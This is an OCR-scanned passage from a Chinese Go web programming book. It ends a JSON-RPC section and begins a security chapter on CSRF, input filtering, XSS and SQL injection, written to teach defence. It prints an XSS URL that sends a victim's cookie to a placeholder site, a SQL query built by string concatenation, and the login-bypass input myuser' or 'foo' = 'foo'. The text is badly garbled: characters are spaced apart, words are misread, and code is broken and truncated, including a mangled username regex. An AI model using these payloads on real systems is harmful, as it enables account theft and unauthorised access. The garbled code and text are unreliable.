log.Fatal("arith error:", err) 
} 
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, ql 
} 

HE 


这 个 客户 端 代码 和 http 的 客户 端 代码 对 比 ， 唯 一 的 区 别 一 个 是 DialHTTP， 一 个 是 
Dial(tcp)， 其 他 处 理 一 模 一 样 。 





JSON RPC 
JSON RPC 是 数据 编码 采用 了 JSON， 而 不 是 gob 编 码 ， 其 他 和 上 面 介绍 的 RPC 概 
念 一 模 一 样 ， 下 面 我 们 来 演示 一 下 ， 如 何 使 用 Go 提供 的 json-rpc 标 准 包 ， 请 看 服务 
端 代码 的 实现 : 


package main 


import ( 
"errors" 
"Fmt W 
"net W 
"net/rpc" 
"net/rpc/jsonrpc" 
"os" 

) 

type Args struct { 
A，B int 

} 


type Quotient struct { 
Quo, Rem int 
} 


type Arith int 


func (t *Arith) Multiply(args *Args, reply *int) error { 
*reply = args.A * args.B 
return nil 


} 


func (t *Arith) Divide(args *Args, quo *Quotient) error { 
if args.B == 0 { 
return errors.New("divide by zero") 
} 


quo.Quo = args.A / args.B 
quo.Rem = args.A % args.B 
return nil 


} 


func main() { 


arith := new(Arith) 
rpc.Register(arith) 


tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") 
checkError (err) 


listener, err := net.ListenTCP("tcp", tcpAddr) 
checkError (err) 


for { 
conn, err := listener.Accept() 
if err != nil { 
continue 


} 


jsonrpc.ServeConn(conn) 


} 


func checkError(err error) { 
if err != nil { 
fmt.Printin("Fatal error ", err.Error()) 
os.Exit(1) 


通过 示例 我 们 可 以 看 出 json-rpc 是 基于 TCP 协 议 实现 的 ， 目 前 它 还 不 支持 HTTP 方 
式 。 
请 看 客户 端的 实现 代码 : 


package main 


import ( 
"Fmt " 
"log" 
"net/rpc/jsonrpc" 
wos" 

) 


type Args struct { 


} 


A, B int 


type Quotient struct { 


} 


Quo, Rem int 


func main() { 


if len(os.Args) != 2 { 
fmt.Println("Usage: ", os.Args[0], "Server:port") 
log.Fatal(1) 


} 
service := os.Args[1] 
client, err := jsonrpc.Dial("tcp", service) 
if err != nil { 
log.Fatal("dialing:", err) 
} 


// Synchronous call 
args := Args{17, 8} 
var reply int 
err = client.Call("Arith.Multiply", args, &reply) 
if err != nil { 
log.Fatal("arith error:", err) 
} 


fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) 


var quot Quotient 
err = client.Call("Arith.Divide", args, &quot) 
if err != nil { 

log.Fatal("arith error:", err) 


} 
fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, ql 





Go 已 经 提供 了 对 RPC 的 良好 支持 ， 通 过 上 面 HTTP、TCP、JSON RPC 的 实现 ,我 们 
就 可 以 很 方便 的 开发 很 多 分 布 式 的 Web 应 用 ， 我 想 作 为 读者 的 你 已 经 领会 到 这 一 
点 。 但 遗憾 的 是 目前 Go 尚未 提供 对 SOAP RPC 的 支持 ， 欣 慰 的 是 现在 已 经 有 第 三 
方 的 开源 实现 了 。 


8.5 小 结 


这 一 章 我 们 介绍 了 目前 流行 的 几 种 主要 的 网 络 应 用 开发 方式 ， 第 一 小 节 介 绍 了 网 络 
编程 中 的 基础 :Socket 编 程 ， 因 为 现在 网 络 正 在 朝 云 的 方向 快速 进化 ， 作 为 这 一 技术 
演进 的 基石 的 的 socket 知 识 ， 作 为 开发 者 的 你 ， 是 必须 要 掌握 的 。 第 二 小 节 介 绍 了 
正 合 发 流行 的 HTML5 中 一 个 重要 的 特性 WebSocket， 通 过 它 ,服务 器 可 以 实现 主动 
的 push 消 息 ， 以 简化 以 前 ajax 轮 询 的 模式 。 第 三 小 节 介 绍 了 REST 编 写 模 式 ， 这 种 
模式 特别 适合 来 开发 网 络 应 用 API， 目 前 移动 应 用 的 快速 发 展 ， 我 觉得 将 来 会 是 一 
个 潮流 。 第 四 小 节 介 绍 了 Go 实现 的 RPC 相 关 知 识 ， 对 于 上 面 四 种 开发 方式 ，Go 都 
已 经 提供 了 和 良好 的 支持 ，net 包 及 其 子 包 ,是 所 有 涉及 到 网 络 编程 的 工具 的 所 在 地 。 
如 果 你 想 更 加 深入 的 了 解 相关 实现 细节 ， 可 以 尝试 阅读 这 个 包 下 面 的 源码 。 


9 安全 与 加 密 


无 论 是 开发 Web 应 用 的 开发 者 还 是 企图 利用 Web 点 用 漏洞 的 攻击 者 ， 对 于 Web 程 序 
安全 这 个 话题 都 给 予 了 越 来 越 多 的 关注 。 特 别 是 最 近 CSDN 密 码 泄露 事件 ， 更 是 让 
我 们 对 Web 安 全 这 个 话题 更 加 重视 ， 所 有 人 都 谈 密码 色 变 ， 都 开始 检测 自己 的 系统 
是 否 存在 漏洞 。 那 么 我 们 作为 一 名 Go 程序 的 开发 者 ， 一 定 也 需要 知道 我 们 的 应 用 程 
序 随时 会 成 为 众多 攻击 者 的 目标 ， 并 提前 做 好 防范 的 准备 。 


很 多 Web 应 用 程序 中 的 安全 问题 都 是 由 于 轻信 了 第 三 方 提供 的 数据 造成 的 。 比 如 对 
于 用 户 的 输入 数据 ， 在 对 其 进行 验证 之 前 都 应 该 将 其 视 为 不 安全 的 数据 。 如 果 直 接 
把 这 些 不 安全 的 数据 输出 到 客户 端 ， 就 可 能 造成 跨 站 脚本 攻击 (XSS) 的 问题 。 如 果 
把 不 安全 的 数据 用 于 数据 库 查 询 ， 那 么 就 可 能 造成 SQL 注入 问题 ， 我 们 将 会 在 9.3、 
9.4 小 节 介 绍 如 何 避 免 这 些 问 题 。 


在 使 用 第 三 方 提供 的 数据 ， 包 括 用 户 提供 的 数据 时 ， 首 先 检验 这 些 数 据 的 合法 性 非 
常 重要 ， 这 个 过 程 叫做 过 滤 ， 我 们 将 在 9.2 小 节 介 绍 如 何 保证 对 所 有 输入 的 数据 进行 
过 滤 处 理 。 


过 滤 输 入 和 转 义 输出 并 不 能 解决 所 有 的 安全 问题 ， 我 们 将 会 在 9.1 讲 解 的 CSRF 攻 
， 会 导致 受骗 者 发 送 攻 击 者 指定 的 请 求 从 而 造成 一 些 破坏 。 


与 安全 加 密 相 关 的 ， 能 够 增强 我 们 的 Web 应 用 程序 的 强大 手段 就 是 加 密 ，CSDN 泄 
密 事 件 就 是 因为 密码 保存 的 是 明文 ， 使 得 攻击 拿手 库 之 后 就 可 以 直接 实施 一 些 破 坏 
行为 了 。 不 过 ， 和 其 他 工具 一 样 ， 加 密 手 段 也 必须 运用 得 当 。 我 们 将 在 9.5 小 节 介 绍 
如 何 存储 密码 ， 如 何 让 密码 存储 的 安全 。 

加 密 的 本 质 就 是 扰乱 数据 ， 某 些 不 可 恢复 的 数据 扰乱 我 们 称 为 单 向 加 密 或 者 散 列 算 
法 。 另 外 还 有 一 种 双向 加 密 方 式 ， 也 就 是 可 以 对 加 密 后 的 数据 进行 解密 。 我 们 将 会 
在 9.6 小 节 介 绍 如 何 实现 这 种 双向 加 密 方 式 。 
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9.1 预防 CSRF 攻 击 


什么 是 CSRF 


CSRF (Cross-site request forgery) ， 中 文 名 称 : 跨 站 请 求 伪 造 ， 也 被 称 为 : one 
click attack/session riding， 缩 写 为 : CSRF/XSRF。 

那么 CSRF 到 底 能 够 干 嘛 呢 ? 你 可 以 这 样 简单 的 理解 : 攻击 者 可 以 盗用 你 的 登陆 信 
息 ， 以 你 的 身份 模拟 发 送 各 种 请 求 。 攻 击 者 只 要 借助 少许 的 社会 工程 学 的 诡计 ， 例 
如 通过 QQ 等 聊天 软件 发 送 的 链接 (有 些 还 伪装 成 短 域名 ， 用 户 无 法 分 辨 )， 攻 击 者 就 
能 迫使 Web 应 用 的 用 户 去 执行 攻击 者 预 设 的 操作 。 例 如 ， 当 用 户 登 录 网 络 银行 去 查 
看 其 存款 余额 ， 在 他 没有 退出 时 ， 就 点 击 了 一 个 QQ 好 友 发 来 的 链接 ， 那 么 该 用 户 
银行 帐户 中 的 资金 就 有 可 能 被 转移 到 攻击 者 指定 的 帐户 中 。 

所 以 遇 到 CSRF 攻 击 时 ， 将 对 终端 用 户 的 数据 和 操作 指令 构成 严重 的 威胁 ; 当 受 攻 
击 的 终端 用 户 具有 管理 员 帐 户 的 时 候 ，CSRF 攻 击 将 危及 整个 Web 应 用 程序 。 


CSRF 的 原理 


下 图 简单 前 述 了 CSRF 攻 击 的 思想 


图 9.1 CSRF 的 攻击 过 程 
从 上 图 可 以 看 出 ， 要 完成 一 次 CSRF 攻 击 ， 受 害 者 必须 依次 完成 两 个 步骤 : 


e 1. 登 录 受 信任 网 站 A， 并 在 本 地 生成 Cookie 。 
e 2. 在 不 退出 A 的 情况 下 ， 访 问 危 险 网 站 B。 


看 到 这 里 ， 读 者 也 许 会 问 :“ 如 果 我 不 满足 以 上 两 个 条 件 中 的 任意 一 个 ， 就 不 会 受到 
CSRF 的 攻击 ”。 是 的 ， 确 实 如 此 ， 但 你 不 能 保证 以 下 情况 不 会 发 生 : 
。 你 不 能 保证 你 登录 了 一 个 网 站 后 ， 不 再 打开 一 个 tab 页 面 并 访问 另外 的 网 站 ， 特 
别 现在 浏览 器 都 是 支持 多 tab 的 。 
e 你 不 能 保证 你 关闭 浏览 器 了 后 ， 你 本 地 的 Cookie 立 刻 过 期 ， 你 上 次 的 会 话 已 经 


结束 。 
e 上 图 中 所 谓 的 攻击 网 站 ， 可 能 是 一 个 存在 其 他 漏洞 的 可 信任 的 经 常 被 人 访问 的 
网 站 。 


因此 对 于 用 户 来 说 很 难 避 免 在 登陆 一 个 网 站 之 后 不 点 击 一 些 链接 进行 其 他 操作 ， 所 
以 随时 可 能 成 为 CSRF 的 受害 者 。 


CSRF 攻 击 主 要 是 因为 Web 的 隐 式 身份 验证 机 制 ，Web 的 身份 验证 机 制 虽然 可 以 保 
证 一 个 请 求 是 来 自 于 某 个 用 户 的 浏览 器 ， 但 却 无 法 保证 该 请 求 是 用 户 批准 发 送 的 。 


如 何 预 防 CSRF 


过 上 面 的 介绍 ， 读 者 是 否 觉得 这 种 攻击 很 恐怖 ， 意 识 到 恐怖 是 个 好 事情 ， 这 样 会 促 
使 你 接着 往 下 看 如 何 改进 和 防止 类 似 的 漏洞 出 现 。 


CSRF 的 防御 可 以 从 服务 端 和 客户 端 两 方面 着 手 ， 防 御 效 果 是 从 服务 端 着 手 效 果 比 
较 好 ， 现 在 一 般 的 CSRF 防 御 也 都 在 服务 端 进行 。 


服务 端的 预防 CSRF 攻 击 的 方式 方法 有 多 种 ， 但 思想 上 都 是 差不多 的 ， 主 要 从 以 下 2 
SABA: 


e。1、 正 确 使 用 GET POST 和 Cookie ; 
。2、 在 非 GET 请 求 中 增加 伪 随 机 数 ; 


我 们 上 一 章 介 绍 过 REST 方 式 的 Web 点 用， 一 般 而 言 ， 普 通 的 Web 点 用 都 是 以 
GET、POST 为 主 ， 还 有 一 种 请 求 是 Cookie 方 式 。 我 们 一 般 都 是 按照 如 下 方式 设计 
应 用 : 


1、GET 常 用 在 查看 ， 列 举 ， 展 示 等 不 需要 改变 资源 属性 的 时 候 ; 
2、POST 常 用 在 下 达 订 单 ， 改 变 一 个 资源 的 属性 或 者 做 其 他 一 些 事情 ; 
接 下 来 我 就 以 Go 语言 来 举例 说 明 ， 如 何 限制 对 资源 的 访问 方法 : 


mux.Get("/user/:uid", getuser) 
mux.Post("/user/:uid", modifyuser ) 


这 样 义理 后 ， 因 为 我 们 限定 了 修改 只 能 使 用 POST， 当 GET 方 式 请 求 时 就 拒绝 响 
应 ， 所 以 上 面 图 示 中 GET 方 式 的 CSRF 攻 击 就 可 以 防止 了 ， 但 这 样 就 能 全 部 解决 问 
题 了 吗 ? 当然 不 是 ， 因 为 POST 也 是 可 以 模拟 的 。 


因此 我 们 需要 实施 第 二 步 ， 在 非 GET 方 式 的 请 求 中 增加 随机 数 ， 这 个 大 概 有 三 种 方 
式 来 进行 : 

e 为 每 个 用 户 生 成 一 个 唯一 的 cookie token， 所 有 表单 都 包含 同一 个 伪 随 机 值 ， 
这 种 方案 最 简单 ， 因 为 攻击 者 不 能 获得 第 三 方 的 Cookie( 理 论 上 )， 所 以 表单 中 
的 数据 也 就 构造 失败 ， 但 是 由 于 用 户 的 Cookie 很 容易 由 于 网 站 的 XSS 漏 洞 而 被 
盗 取 ， 所 以 这 个 方案 必须 要 在 没有 XSS 的 情况 下 才 安 全 。 

每 个 请 求 使 用 验证 码 ， 这 个 方案 是 完美 的 ， 因 为 要 多 次 输入 验证 码 ， 所 以 用 户 
友好 性 很 差 ， 所 以 不 适合 实际 运用 。 

不 同 的 表单 包含 一 个 不 同 的 伪 随 机 值 ， 我 们 在 4.4 小 节 介 绍 “ 如 何 防 止 表单 多 次 
递交 "时 介绍 过 此 方案 ， 复 用 相关 代码 ， 实 现 如 下 : 


生成 随机 数 token 


h := md5.New() 

io.WriteString(h, strconv.FormatInt(crutime, 10)) 
io.WriteString(h, "ganraomaxxxxxxxxx") 

token := fmt.Sprintf("%x", h.Sum(nil) ) 


t, _ := template.ParseFiles("login.gtpl") 
t.Execute(w, token) 


输出 token 


<input type="hidden" name="token" value="{{.}}"> 


验证 token 


r.ParseForm() 
token := r.Form.Get("token") 
if token != "" { 
// 验 证 token 的 合法 性 
} else { 
// 不 存在 token 报 错 
} 


这 样 基本 就 实现 了 安全 的 POST， 但 是 也 许 你 会 说 如 果 破 解 了 token 的 算法 呢 ， 按 照 
理论 上 是 ， 但 是 实际 上 破解 是 基本 不 可 能 的 ， 因 为 有 人 人 鲁 计 算 过 ， 暴 力 破解 该 串 大 
概 需要 2 的 11 次 方 时 间 。 


总 结 
跨 站 请 求 伪 造 ， 即 CSRF， 是 一 种 非常 危险 的 Web 安 全 威胁 ， 它 被 Web 安 全 界 称 
为 “沉睡 的 巨人 ”， 其 威胁 程度 由 此 “美誉 " 便 可 见 一 斑 。 本 小 节 不 仅 对 跨 站 请 求 伪造 本 
身 进行 了 简单 介绍 ， 还 详细 说 明 造 成 这 种 漏洞 的 原因 所 在 ， 然后 以 此 提 了 一 些 防范 
该 攻击 的 建议 ， 希 望 对 读者 编写 安全 的 Web 应 用 能 够 有 所 局 发 


links 


e. 目录 
e 上 一 节 : ae 
。 下 一 节 : 确保 输入 


9.2 确保 输入 过 滤 


过 滤 用 户 数 据 是 Web 应 用 安全 的 基础 。 它 是 验证 数据 合法 性 的 过 程 。 通 过 对 所 有 的 
输入 数据 进行 过 滤 ， 可 以 避免 恶意 数据 在 程序 中 被 误 信 或 误 用 。 大 多 数 Web 应 用 的 
漏洞 都 是 因为 没有 对 用 户 输入 的 数据 进行 恰当 过 滤 所 引起 的 。 


我 们 介绍 的 过 滤 数 据 分 成 三 个 步骤 : 


。1、 识 别 数据 ， 搞 清楚 需要 过 滤 的 数据 来 自 于 哪里 

。 2、 过 滤 数 据 ， 弄 明白 我 们 需要 什么 样 的 数据 

。 3、 区 分 已 过 滤 及 被 污染 数据 ， 如 果 存 在 攻击 数据 那么 保证 过 滤 之 后 可 以 让 我 
们 使 用 更 安全 的 数据 


识别 数据 


只 别 数 据 " 作 为 第 一 步 是 因为 在 你 不 知道 数据 是 什么 ， 它 来 自 于 哪里 "的 前 提 下 ， 你 
也 就 不 能 正确 地 过 滤 它 。 这 里 的 数据 是 指 所 有 源 自 非 代码 内 部 提供 的 数据 。 例 如 :所 
有 来 自 客户 端 的 数据 ， 但 客户 端 并 不 是 唯一 的 外 部 数据 源 ， 数 据 库 和 第 三 方 提供 的 
接口 数据 等 也 可 以 是 外 部 数据 源 。 


由 用 户 输入 的 数据 我 们 通过 Go 非常 容易 识别 ，Go 通 过 r.ParseForm 之 后 ， 把 用 
户 POST 和 GET 的 数据 全 部 放 在 了 r.Form 里 面 。 其 它 2 别 得 多 ， 例 
H, r.Header 中 的 很 多 元 素 是 由 客户 端 所 操纵 的 。 常 常 很 难 确 认 其 中 的 哪些 元 素 
组 成 了 和 输入， 所以， 最 好 的 方法 是 把 里 面 所 有 的 数据 都 看 成 是 用 户 和 入。 ( 例 

如 r.Header.Get("Accept-Charset") 这 样 的 也 看 做 是 用 户 输入 ,虽然 这 些 大 多 数 
是 浏览 | 览 器 操纵 的 ) 


过 滤 数 据 


在 知道 数据 来 源 之 后 ， 就 可 以 过 滤 它 了 。 过 滤 是 一 个 有 点 正式 的 术语 ， 它 在 平时 表 
述 中 有 很 多 同义词 ， 如 验证 、 清 洁 及 净化 。 尽 管 这 些 术语 表面 意义 不 同 ， 但 它们 都 
是 指 的 同一 个 处 理 : 防止 非法 数据 进入 你 的 应 用 。 


过 滤 数 据 有 很 多 种 方法 ， 其 中 有 一 些 安全 性 较 差 。 最 好 的 方法 是 把 过 滤 看 成 是 一 个 
检查 的 过 程 ， 在 你 使 用 数据 之 前 都 检查 一 下 看 它们 是 否 是 符合 合法 数据 的 要 求 。 而 
且 不 要 试图 好 心地 去 纠正 非法 数据 ， 而 要 让 用 户 按 你 制定 的 规则 去 输入 数据 。 历史 
证 明了 试图 纠正 非法 数据 往往 会 导致 安全 漏洞 。 这 里 举 个 例子 : “最近 建设 银行 系统 
升级 之 后 ， 如 果 密码 后 面 两 位 是 90， 只 要 输入 前 面 四 位 就 能 登录 系统 "'， 这 是 一 个 非 
常 严 重 的 漏洞 。 


过 滤 数 据 主要 采用 如 下 一 些 库 来 操作 : 


e strconv 包 下 面 的 字符 串 转化 相关 玉 数 ， 因 为 从 Request 中 的 r .Form 返回 的 是 
字符 串 ， 而 有 些 时 候 我 们 需要 将 之 转化 成 整 / 浮 点 
数 ， Atoi 、 ParseBool 、 ParseFloat 、 ParseInt 等 画 数 就 可 以 派 上 


用 场 了 。 

e string 包 下 面 的 一 些 过 滤 豆 数 Trim, ToLower 、 ToTitle 等 函数 ， 能 够 帮 
助 我 们 按照 指定 的 格式 获取 信息 。 

e regexp 包 用 来 处 理 一 些 复杂 的 需求 ， 例 如 判定 输入 是 否 是 Email、 生 日 之 类 。 


过 滤 数据 除了 检查 验证 之 外 ， 在 特殊 时 候 ， 还 可 以 采用 白 名 单 。 即 假定 你 正在 检查 
的 数据 都 是 非法 的 ， 除 非 能 证 明 它 是 合法 的 。 使 用 这 个 方法 ， 如 果 出 现 错误 ， 只 会 
导致 把 合法 的 数据 当成 是 非法 的 ， 而 不 会 是 相反 ， 尽 管 我 们 不 想 犯 任何 错误 ， 但 这 
样 总 比 把 非法 数据 当成 合法 数据 要 安全 得 多 。 


区 分 过 滤 数 据 


如 果 完 成 了 上 面 的 两 步 ， 数 据 过 滤 的 工作 就 基本 完成 了 ， 但 是 在 编写 Web 应 用 的 时 
候 我 们 还 需要 区 分 已 过 滤 和 被 污染 数据 ， 因 为 这 样 可 以 保证 过 滤 数 据 的 完整 性 ， 而 
影响 输入 的 数据 。 我 们 约定 把 所 有 经 过 过 滤 的 数据 放 人 一 个 叫 全 局 的 Map 变 量 中 
(CleanMap)。 这 时 需要 用 两 个 重要 的 步骤 来 防止 被 污染 数据 的 注入 : 


。 每 个 请 求 都 要 初始 化 CleanMap 为 一 个 空 Map。 
。 加 入 检查 及 阻止 来 自 外 部 数据 源 的 变量 命名 为 CleanMap。 


接 下 来 ， 让 我 们 通过 一 个 例子 来 巩固 这 些 概念 ， 请 看 下 面 这 个 表单 


<form action="/whoami" method="POST"> 
RER: 
<select name="name"> 
<option value="astaxie">astaxie</option> 
<option value="herry">herry</option> 
<option value="marry">marry</option> 
</select> 
<input type="submit" /> 
</form> 


在 处 理 这 个 表单 的 编程 逻辑 中 ， 非 常 容易 犯 的 错误 是 认为 只 能 提交 三 个 选择 中 的 一 
个 。 其 实 攻 击 者 可 以 模拟 POST 操作 ， 递 交 name=attack 这 样 的 数据 ， 所 以 在 此 
时 我 们 需要 做 类 似 白 名 单 的 处 理 


r.ParseForm( ) 


name := r.Form.Get("name") 
CleanMap := make(map[string]interface{}, 0) 
if name == "astaxie" || name == "herry" || name == "marry" { 


CleanMap["name"] = name 


} 


上 面 代码 中 我 们 初始 化 了 一 个 CleanMap 的 变量 ， 当 判断 获取 的 name 
是 astaxie 、 herry 、 marry 三 个 中 的 一 个 之 后 ， 我 们 把 数据 存储 到 了 
CleanMap 之 中 ， 这 样 就 可 以 确保 CleanMap["name"] 中 的 数据 是 合法 的 ， 从 而 在 代 


码 的 其 它 部 分 使 用 它 。 当 然 我 们 还 可 以 在 else 部 分 增加 非法 数据 的 勾 理 ， 一 种 可 能 
是 再 次 显示 表单 并 提示 错误 。 但 是 不 要 试图 为 了 友好 而 输出 被 污染 的 数据 。 


上 面 的 方法 对 于 过 滤 一 组 已 知 的 合法 值 的 数据 很 有 效 ， 但 是 对 于 过 滤 有 一 组 已 知 合 
法 字符 组 成 的 数据 时 就 没有 什么 帮助 。 例 如 ， 你 可 能 需要 一 个 用 户 名 只 能 由 字母 及 
数字 组 成 : 


r.ParseForm() 


username := r.Form.Get("username" ) 
CleanMap := make(map[string]interface{}, 0) 
if ok, _ := regexp.MatchString("4[a-zA-Z0-9].$", username); ok { 
CleanMap["username"] = username 
} 
% gt 
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数据 过 滤 在 Web 安 全 中 起 到 一 个 基石 的 作用 ， 大 多 数 的 安全 问题 都 是 由 于 没有 过 小 
数据 和 验证 数据 引起 的 ， 例 如 前 面 小 节 的 CSRF 攻 击 ， 以 及 接 下 来 将 要 介绍 的 XSS 
攻击 、SQL 注 入 等 都 是 没有 认真 地 过 滤 数 据 引 起 的 ， 因 此 我 们 需要 特别 重视 这 部 分 
的 内 容 。 


。 目录 
e 上 一 节 : 预防 CSRF 攻 击 
e 下 一 节 : 避免 XSS 攻 击 


9.3 避免 XSS 攻 击 


随 着 互联 网 技术 的 发 展 ， 现 在 的 Web 应 用 都 含有 大 量 的 动态 内 容 以 提高 用 户 体 验 。 
所 谓 动态 内 容 ， 就 是 应 用 程序 能 够 根据 用 户 环境 和 用 户 请 求 ， 输 出 相应 的 内 容 。 动 
态 站 点 会 受到 一 种 名 为 “ 跨 站 脚本 攻击 ”(Cross Site Scripting, 安全 专家 们 通常 将 其 
缩写 成 XSS) 的 威胁 ， 而 静态 站 点 则 完全 不 受 其 影响 。 


什么 是 XSS 


XSS 攻 击 : 跨 站 脚本 攻击 (Cross-Site Scripting)， 为 了 不 和 层 且 样式 表 (Cascading 
Style Sheets, CSS) 的 缩写 混淆 ， 故 将 跨 站 脚本 攻击 缩写 为 XSS。XSS 是 一 种 常见 
的 web 安 全 漏洞 ， 它 允许 攻击 者 将 恶意 代码 植 人 到 提供 给 其 它 用 户 使 用 的 页 面 中 。 

不 同 于 大 多 数 攻击 (一 般 只 涉及 攻击 者 和 受害 者 )，XSS 涉 及 到 三 方 ， 即 攻击 者 、 客 
户 端 与 Web 上 应用。XSS 的 攻击 目标 是 为 了 资 取 存 储 在 客户 端的 cookie 或 者 其 他 网 站 
用 于 识别 客户 端 身份 的 敏感 信息 。 一 有 旦 获取 到 合法 用 户 的 信息 后 ， 攻 击 者 甚至 可 以 
假冒 合法 用 户 与 网 站 进行 交互 。 


XSS 通 常 可 以 分 为 两 大 类 : 一 类 是 存储 型 XSS， 主 要 出 现在 让 用 户 输 入 数据 ， 供 其 
他 浏览 此 页 的 用 户 进行 查看 的 地 方 ， 包 括 留 言 、 评 论 、 博 客 日 志和 各 类 表单 等 。 应 
用 程序 从 数据 库 中 查询 数据 ， 在 页 面 中 显示 出 来 ， 攻 击 者 在 相关 页 面 输入 恶意 的 脚 
本 数据 后 ， 用 户 浏览 此 类 页 面 时 就 可 能 受到 攻击 。 这 个 流程 简单 可 以 描述 为 :恶意 用 
户 的 Html 输 入 Web 程 序 -> 进 入 数据 库 ->Web 程 序 -> 用 户 浏览 器 。 另 一 类 是 反射 型 
XSS， 主 要 做 法 是 将 脚本 代码 加 入 URL 地 址 的 请 求 参 数 里 ， 请 求人 参数 进入 程序 后 在 
页 面 直 接 输出 ， 用 户 点 击 类 似 的 恶意 链接 就 可 能 受到 攻击 。 


XSS 目 前 主要 的 手段 和 目的 如 下 : 


e 盗用 cookie， 获 取 敏 感 信息 。 

e 利用 植 人 Flash， 通 过 crossdomain 权 限 设 置 进一步 获取 更 高 权限 ; 或 者 利用 
Java 等 得 到 类 似 的 操作 。 

e 利用 iframe、frame、XMLHttpRequest 或 上 述 Flash 等 方式 ， 以 (被 攻击 者 ) 用 

户 的 身份 执行 一 些 管理 动作 ， 或 执行 一 些 如 :发 微 博 、 加 好 友 、 发 私信 等 常规 操 

作 ， 前 段 时 间 新 浪 微 博 就 遭遇 过 一 次 XSS。 

利用 可 被 攻击 的 域 受到 其 他 域 信任 的 特点 ， 以 受信 任 来 源 的 身份 请 求 一 些 平时 

不 允许 的 操作 ， 如 进行 不 当 的 投票 活动 。 

在 访问 量 极 大 的 一 些 页面 上 的 XSS 可 以 攻击 一 些小 型 网 站 ， 实 现 DDoS 攻 击 的 

效果 


XSS 的 原理 


Web 应 用 未 对 用 户 提 交 请 求 的 数据 做 充分 的 检查 过 滤 ， 人 允许 用 户 在 提交 的 数据 中 掺 
入 HTML 代 码 ( 最 主要 的 是 “>"” “<”)， 并 将 未 经 转 义 的 恶意 代码 输出 到 第 三 方 用 户 的 
浏览 器 解释 执行 ， 是 导致 XSS 漏 洞 的 产生 原因 。 


接 下 来 以 反射 性 XSS 举 例 说 明 XSS 的 过 程 : 现在 有 一 个 网 站 ， 根 据 参 数 输出 用 户 的 
名 称 ， 例 如 访问 url : http://127.0.0.1/?name=astaxie ， 就 会 在 浏览 器 输出 如 
下 信息 : 


hello astaxie 


如 果 我 们 传递 这 样 的 

url: http://127.0.0.1/?name=&#60; Oa G2; alert(&#39;astaxie, xss&# 
,这 时 你 就 会 发 现 浏览 器 跳出 一 个 弹出 框 ， 这 说 明 站 点 已 经 存在 了 XSS 漏 洞 。 那 么 亚 
意 用 户 是 如 何 盗 取 Cookie 的 呢 ?与 上 类 似 ， 如 下 这 样 的 

url: http://127.0.0.1/?name=&#60;script&#62;document.location.href='l 
， 这 样 就 可 以 把 当前 的 cookie 发 送 到 指定 的 站 点 : www.xxx.com。 你 也 许 会 说 ， 这 
样 的 URL 一 看 就 有 问题 ， 怎 么 会 有 人 点 击 ? ， 是 的 ， 这 类 的 URL 会 让 人 怀疑 ， 但 如 
果 使 用 短 网 址 服务 将 之 缩短 ， 你 还 看 得 出 来 么 ?攻击 者 将 缩短 过 后 的 url 通 过 某 些 途 
径 传 播 开 来 ， 不 明 真 相 的 用 户 一 旦 点 击 了 这 样 的 url， 相 应 cookie 数 据 就 会 被 发 送 事 
先 设 定好 的 站 点 ， 这 样子 就 盗 得 了 用 户 的 cookie 信 息 ， 然 后 就 可 以 利用 Websleuth 

之 类 的 工具 来 检查 是 否 能 盗 取 那个 用 户 的 账户 。 


更 加 详细 的 关于 XSS 的 分 析 大 家 可 以 参考 这 篇 叫做 《新 浪人 币 博 XSS 事 件 分 析 》 的 文 


Fo 


如 何 预防 XSS 


很 简单 ， 坚 决 不 要 相信 用 户 的 任何 输入 ， 并 过 滤 掉 输入 中 的 所 有 特殊 字符 。 
灭绝 大 部 分 的 XSS 攻 击 。 


目前 防御 XSS 主 要 有 如 下 几 种 方式 : 
。 过 滤 特 殊 字 符 


避免 XSS 的 方法 之 一 主要 是 将 用 户 所 提供 的 内 容 进行 过 滤 ，Go 语 言 提供 了 
HTMLAYat ye BEX : 


text/template@ FMBIHTMLEscapeString, JSEscapeString HX 
o 使 用 HTTP 头 指定 类 型 
w.Header().Set("Content-Type", "text/javascript") 
这 样 就 可 以 让 浏览 器 解析 javascript 代 码 ， 而 不 会 是 html 输 出 。 
总 结 


on 


XSS 漏 洞 是 相当 有 危害 的 ， 在 开发 Web 应 用 的 时 候 ， 一 定 要 记 住 过 滤 数 据 ， 特 别 是 
在 输出 到 客户 端 之 前 ， 这 是 现在 行 之 有 效 的 防止 XSS 的 手段 。 


Go Web 编程 


links 
e 目录 


e 上 一 节 : 确保 输入 过 滤 
。 下 一 节 : 避免 SQL 注入 
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9.4 避免 SQL 注入 


什么 是 SQL 注入 


SQL 注入 攻击 (SQL Injection) ， 简 称 注入 攻击 ， 是 Web 开 发 中 最 常见 的 一 种 安全 
漏洞 。 可 以 用 它 来 从 数据 库 获取 敏感 信息 ， 或 者 利用 数据 库 的 特性 执行 添加 用 户 ， 
导出 文件 等 一 系列 恶意 操作 ， 甚 至 有 可 能 获取 数据 库 乃 至 系统 用 户 最 高 权限 。 


而 造成 SQL 注入 的 原因 是 因为 程序 没有 有 效 过 滤 用 户 的 输入 ， 使 攻击 者 成 功 的 向 服 
务 器 提交 和 恶意 的 SQL 查询 代码 ， 程 序 在 接收 后 错误 的 将 攻击 者 的 输入 作为 查询 语句 
的 一 部 分 执行 ， 导 致 原始 的 查询 逻辑 被 改变 ， 人 额外 的 执行 了 攻击 者 精心 构造 的 悉 意 
代码 。 


SQL 注 入 实例 


很 多 Web 开 发 者 没有 意识 到 SQL 查 询 是 可 以 被 自 改 的 ， 从 而 把 SQL 查 询 当 作 可 信任 
的 命令 。 殊 不 知 ，SQL 坦 询 是 可 以 绕 开 访 问 控制 ， 从 而 绕 过 身份 验证 和 权限 检查 
的 。 更 有 甚 者 ， 有 可 能 通过 SQL 查询 去 运行 主机 系统 级 的 命令 。 


下 面 将 通过 一 些 真 实 的 例子 来 详细 讲解 SQL 注入 的 方式 。 

考虑 以 下 简单 的 登录 表单 : 
<form action="/login" method="POST"> 
<p>Username: <input type="text" name="username" /></p> 
<p>Password: <input type="password" name="password" /></p> 


<p><input type="submit" Value=" 登 陆 " /></p> 
</form> 


我 们 的 处 理 里 面 的 SQL 可 能 是 这 样 的 : 


username:=r .Form.Get("username") 
password:=r.Form.Get("password") 
sql:="SELECT * FROM user WHERE username='"+username+"' AND passwor¢ 


如 果 用 户 的 输入 的 用 户 名 如 下 ， 密 码 任意 





myuser' or 'foo' = 'foo' 


